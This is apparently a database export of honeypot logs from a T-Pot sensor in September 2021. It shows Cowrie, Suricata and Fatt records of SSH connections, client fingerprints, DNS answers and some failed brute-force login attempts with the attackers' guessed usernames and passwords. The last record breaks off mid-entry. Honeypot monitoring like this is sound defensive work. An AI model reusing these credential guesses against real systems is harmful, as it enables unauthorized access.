31566	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:46:19.322453+03	2021-09-20 15:00:02.334717+03	{"_id": "9gYHA3wBvYTbRNuEQ0T_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 33001, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3495, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 150435332351261, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 51137, "timestamp": "2021-09-20T11:46:19.322453Z", "@timestamp": "2021-09-20T11:46:19.322Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31567	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:46:00.000966+03	2021-09-20 15:00:02.335716+03	{"_id": "9QYHA3wBvYTbRNuEQ0T_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:44:58.901936+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 844244344030000, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 58240, "timestamp": "2021-09-20T11:46:00.000966Z", "@timestamp": "2021-09-20T11:46:00.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31569	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:46:11.873368+03	2021-09-20 15:00:02.338717+03	{"_id": "5AYHA3wBvYTbRNuEJ0QB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a11657cad5ae", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:46:11.873368Z", "@timestamp": "2021-09-20T11:46:11.873Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31570	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:46:11.919324+03	2021-09-20 15:00:02.340716+03	{"_id": "5QYHA3wBvYTbRNuEJ0QB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a11657cad5ae", "@version": "1", "timestamp": "2021-09-20T11:46:11.919324Z", "@timestamp": "2021-09-20T11:46:11.919Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31571	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:46:12.210956+03	2021-09-20 15:00:02.341716+03	{"_id": "5gYHA3wBvYTbRNuEJ0QB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [trs/trs] failed", "session": "a11657cad5ae", "@version": "1", "password": "trs", "username": "trs", "timestamp": "2021-09-20T11:46:12.210956Z", "@timestamp": "2021-09-20T11:46:12.210Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31572	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:46:13.263562+03	2021-09-20 15:00:02.342716+03	{"_id": "6QYHA3wBvYTbRNuEKkTq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "a11657cad5ae", "@version": "1", "duration": 1.390556812286377, "timestamp": "2021-09-20T11:46:13.263562Z", "@timestamp": "2021-09-20T11:46:13.263Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31573	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:46:11.870236+03	2021-09-20 15:00:02.343717+03	{"_id": "5wYHA3wBvYTbRNuEJ0QB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:43548 (192.168.176.2:22) [session: a11657cad5ae]", "session": "a11657cad5ae", "@version": "1", "protocol": "ssh", "src_port": 43548, "dest_port": 22, "timestamp": "2021-09-20T11:46:11.870236Z", "@timestamp": "2021-09-20T11:46:11.870Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31574	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:46:12.630324+03	2021-09-20 15:00:02.344717+03	{"_id": "6AYHA3wBvYTbRNuEJ0QB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b945ebc9ec5b", "@version": "1", "duration": 2.7759857177734375, "timestamp": "2021-09-20T11:46:12.630324Z", "@timestamp": "2021-09-20T11:46:12.630Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31575	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:46:07.966573+03	2021-09-20 15:00:02.346717+03	{"_id": "wgYHA3wBvYTbRNuEF0Rf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "190f8168c98a", "@version": "1", "duration": 7.665970325469971, "timestamp": "2021-09-20T11:46:07.966573Z", "@timestamp": "2021-09-20T11:46:07.966Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31576	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:46:29.105851+03	2021-09-20 15:00:02.347717+03	{"_id": "IgYHA3wBvYTbRNuEaEUo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 55334, "dest_port": 22, "timestamp": "2021-09-20T11:46:29.105851", "@timestamp": "2021-09-20T11:46:29.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31577	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:46:28.929443+03	2021-09-20 15:00:02.348716+03	{"_id": "JQYHA3wBvYTbRNuEaUVx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "a9a99b728e51", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:46:28.929443Z", "@timestamp": "2021-09-20T11:46:28.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31578	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:46:29.74302+03	2021-09-20 15:00:02.349717+03	{"_id": "JgYHA3wBvYTbRNuEaUVx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:37160 (192.168.176.2:22) [session: ba1faa881985]", "session": "ba1faa881985", "@version": "1", "protocol": "ssh", "src_port": 37160, "dest_port": 22, "timestamp": "2021-09-20T11:46:29.743020Z", "@timestamp": "2021-09-20T11:46:29.743Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31579	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:46:29.106508+03	2021-09-20 15:00:02.350717+03	{"_id": "JwYHA3wBvYTbRNuEaUVx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "a9a99b728e51", "@version": "1", "timestamp": "2021-09-20T11:46:29.106508Z", "@timestamp": "2021-09-20T11:46:29.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31582	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:46:29.999299+03	2021-09-20 15:00:02.354716+03	{"_id": "LQYHA3wBvYTbRNuEbEUR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 37160, "dest_port": 22, "timestamp": "2021-09-20T11:46:29.999299", "@timestamp": "2021-09-20T11:46:29.999Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31583	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:46:29.922489+03	2021-09-20 15:00:02.356717+03	{"_id": "LwYHA3wBvYTbRNuEbUVa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [root/bigdick] failed", "session": "a9a99b728e51", "@version": "1", "password": "bigdick", "username": "root", "timestamp": "2021-09-20T11:46:29.922489Z", "@timestamp": "2021-09-20T11:46:29.922Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31584	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:46:31.400338+03	2021-09-20 15:00:02.357716+03	{"_id": "MQYHA3wBvYTbRNuEcUVD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/..-55] failed", "session": "ba1faa881985", "@version": "1", "password": "..-55", "username": "root", "timestamp": "2021-09-20T11:46:31.400338Z", "@timestamp": "2021-09-20T11:46:31.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31585	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:46:39.13746+03	2021-09-20 15:00:02.358716+03	{"_id": "OAYHA3wBvYTbRNuEj0U8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.124.200.114", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 3739, "timestamp": "2021-09-20T11:46:39.137460", "@timestamp": "2021-09-20T11:46:39.137Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31586	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:46:39.136927+03	2021-09-20 15:00:02.359716+03	{"_id": "PgYHA3wBvYTbRNuEkEWG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f13ed1d3c172", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:46:39.136927Z", "@timestamp": "2021-09-20T11:46:39.136Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31587	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:46:39.483679+03	2021-09-20 15:00:02.361717+03	{"_id": "QgYHA3wBvYTbRNuEkkUo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:46:38.787774+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": 